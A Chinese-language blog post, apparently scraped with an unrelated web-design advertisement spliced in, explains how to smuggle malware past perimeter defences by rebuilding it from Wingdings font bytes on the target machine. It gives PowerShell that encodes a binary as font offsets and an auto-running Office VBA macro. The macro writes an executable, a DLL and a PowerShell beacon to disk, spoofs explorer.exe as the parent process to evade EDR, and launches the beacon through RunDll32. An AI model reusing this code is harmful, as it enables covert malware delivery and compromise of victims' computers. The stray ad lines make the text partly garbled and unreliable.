這篇文章將為大家詳細講解有關(guān)如何利用Windows系統(tǒng)字體來創(chuàng)建惡意軟件，小編覺得挺實用的，因此分享給大家做個參考，希望大家閱讀完這篇文章后可以有所收獲。
創(chuàng)新互聯(lián)公司成都網(wǎng)站建設(shè)按需求定制設(shè)計，是成都網(wǎng)站制作公司,為葡萄架提供網(wǎng)站建設(shè)服務,有成熟的網(wǎng)站定制合作流程，提供網(wǎng)站定制設(shè)計服務：原型圖制作、網(wǎng)站創(chuàng)意設(shè)計、前端HTML5制作、后臺程序開發(fā)等。成都網(wǎng)站推廣熱線：13518219792
在大多數(shù)情況下，一般的網(wǎng)絡(luò)攻擊需分成下面這三個步驟來進行：
a)需要執(zhí)行的惡意代碼
b)或者
c)非惡意代碼，因為Payload可以在第三步中下載惡意組件
a)執(zhí)行惡意組件
b)或者
c)下載惡意組件，然后執(zhí)行
我想要的解決方案應該滿足以下幾個條件：
1、 不包含任何惡意代碼（甚至連惡意字節(jié)都沒有），以繞過邊界防護。
2、 不用下載任何惡意代碼。
3、 最終執(zhí)行惡意代碼。
利用目標主機中的字體實現(xiàn)惡意軟件自生成。
首先，我們需要找出每一個Windows操作系統(tǒng)版本都包含的一個組件，結(jié)果我找到了這個：
我對比了多個Windows版本中的Wingdings字體，然后發(fā)現(xiàn)這個字體在每個版本中都是一樣的。
因此，我打算利用這個字體來實現(xiàn)我的“小”目標。應該怎么做呢？方法大致如下：
1、 在我們的主機上，收集我們惡意軟件的字節(jié)數(shù)據(jù)。
2、 拿惡意軟件的第一個字節(jié)跟Wingdings字體進行對比。
3、 在字體中找到了相同字節(jié)之后，在文本文件中記錄它的位置。
4、 重復這個過程，直到找出惡意軟件中包含的所有字節(jié)，然后在文本文件中記錄下它們的位置。
5、 我們的Payload將包含每個字節(jié)所對應的Wingdings字體位置。
6、 在目標主機上，Payload將會使用Wingdings字體的位置來轉(zhuǎn)換成字節(jié)數(shù)據(jù)，并構(gòu)建惡意組件。
下面給出的是用來找出字節(jié)對應字體位置的PowerShell代碼：
重慶分公司
重慶分公司
$Font= "C:\Windows\Fonts\wingding.ttf"$Malware= "C:\Users\Administrator\Pictures\2.PNG" $fontArray= Get-Content $Font -Encoding Byte -ReadCount 0$malwareArray= Get-Content $Malware -Encoding Byte -ReadCount 0$offsetArray= @()foreach($byteInMalware in $malwareArray){ $index = 0 foreach ($byteInFont in $fontArray) { if ($byteInMalware -eq $byteInFont) { $offsetArray += $index break } $index++ } }PowerShell代碼將生成一個VBA代碼，你可以將其插入到宏文件中，這份代碼會生成一個包含字節(jié)位置信息的字節(jié)數(shù)組，它將負責構(gòu)建你的惡意組件：
$i=0$payload= ""$j=0$u=1$payDef= ""foreach($offsetin $offsetArray){ if($i -eq 30) { $payload = $payload + ", " +$offset + " _`r`n" $i=0 $j++ } else { if($i -eq 0) { $payload = $payload + $offset } else { $payload = $payload + ", " +$offset } } if($j -eq 25) { $payDef = $payDef + "`r`nFunctionccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction" $payload = "" $u++ $j = 0 } $i++}if($payload-ne ""){$payDef= $payDef + "`r`nFunction ccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"} $payDef運行結(jié)果如下：
下面給出的VBA代碼將使用我們之前所創(chuàng)建的字節(jié)數(shù)組來生成惡意組件。接下來，我們需要選擇Explorer.exe來作為RunDll32.exe的父進程（目的是繞過EDR產(chǎn)品），然后通過RunDll32.exe來執(zhí)行我們的惡意組件。如果你不想把文件寫入磁盤的話，你可以嘗試結(jié)合內(nèi)存注入技術(shù)來使用。
VBA代碼如下：
[...]--> you array of bytes containing the position of necessary bytes in theWindings font. 'exampleto join the bytes for the fist malicious component t1 = cc1 t2 = cc2 t3 = cc3 t4 = cc4 t5 = cc5 t6 = cc6 t7 = cc7 t8 = cc8 t9 = cc9 t10 = cc10 t11 = cc11 t12 = cc12 t13 = cc13 t14 = cc14 t15 = cc15 t16 = cc16 t17 = cc17 t18 = cc18 ttt = Split(Join(t1, ",") &"," & Join(t2, ",") & "," & Join(t3,",") & "," & Join(t4, ",") &"," & Join(t5, ",") & "," & Join(t6,",") & "," & Join(t7, ",") &"," & Join(t8, ",") & "," & Join(t9,",") _ & "," & Join(t10,",") & "," & Join(t11, ",") &"," & Join(t12, ",") & "," &Join(t13, ",") & "," & Join(t14, ",")& "," & Join(t15, ",") & "," &Join(t16, ",") & "," & Join(t17, ",")& "," & Join(t18, ","), ",") [...] Dim nb As Integer Dim nb2 As Integer nb = UBound(ttt) - LBound(ttt) + 1 'ttt isa joined byte array nb2 = UBound(tt) - LBound(tt) + 1 nb3 = UBound(ttttttt) - LBound(ttttttt) + 1 Dim intFileNumber As Integer Dim i As Integer Dim j As Integer Dim lngFileSize As Long Dim lngFileSize2 As Long Dim strBuffer As String Dim strBuffer2 As String Dim lngCharNumber As Long Dim lngCharNumber2 As Long Dim strCharacter As String * 1 Dim strCharacter2 As String * 1 Dim strFileName As String Dim strFileName2 As String Dim offset() As Variant strFileName ="C:\Windows\Fonts\wingding.ttf" intFileNumber = FreeFile Open strFileName For Binary Access ReadShared As #intFileNumber lngFileSize = LOF(intFileNumber) strBuffer = Space$(lngFileSize) Get #intFileNumber, , strBuffer Close #intFileNumber Dim nFileNum As Long Dim sFilename As String Dim ind As Long sFilename2 ="C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary thatwill be use to select the parent of rundll32 sFilename ="C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will runpowershell beacon from an image sFilename3 ="C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beaconregistered in an .ICO nFileNum = FreeFile ' a loop would be better ;-) Open sFilename2 For Binary Lock Read WriteAs #nFileNum For lngCharNumber = 0 To nb - 1 ind = lngCharNumber + 1 off = ttt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum nFileNum = FreeFile Open sFilename For Binary Lock Read Write As#nFileNum For lngCharNumber = 0 To nb2 - 1 ind = lngCharNumber + 1 off = tt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum nFileNum = FreeFile Open sFilename3 For Binary Lock Read WriteAs #nFileNum For lngCharNumber = 0 To nb3 - 1 ind = lngCharNumber + 1 off = ttttttt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum rrEndSub Subrr() Dim xx As String Dim oihfasf As Object, eopuf As Object, kdjAs Object Dim oDic As Object, a() As Variant Dim pskaf As Integer Set oDic =CreateObject("Scripting.Dictionary") xx = "." Set oihfasf =GetObject("winmgmts:\\" _ & xx & "\root\CIMV2") Set eopuf = oihfasf.ExecQuery _ ("Select Name, ProcessID FROMWin32_Process", , 48) For Each kdj In eopuf If(kdj.Properties_("Name").Value) = "explorer.exe" Then pskaf =(kdj.Properties_("ProcessID").Value) End If NextDim tAs Date Dimcnt As LongDimarr(2) As Byte Dimxl As Stringxl ="C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exeC:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -fC:\Users\Public\Documents\BEACON.ico"" " & pskafxx ="."Setow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")Setos = ow.Get("Win32_ProcessStartup")Setoc = os.SpawnInstance_Setop = GetObject("winmgmts:\\" & xx &"\root\cimv2:Win32_Process")op.Createxl, Null, oc, aslh EndSubSubAutoOpen() ccEndSubSubWorkbook_Open() ccEndSub關(guān)于“如何利用Windows系統(tǒng)字體來創(chuàng)建惡意軟件”這篇文章就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，使各位可以學到更多知識，如果覺得文章不錯，請把它分享出去讓更多的人看到。
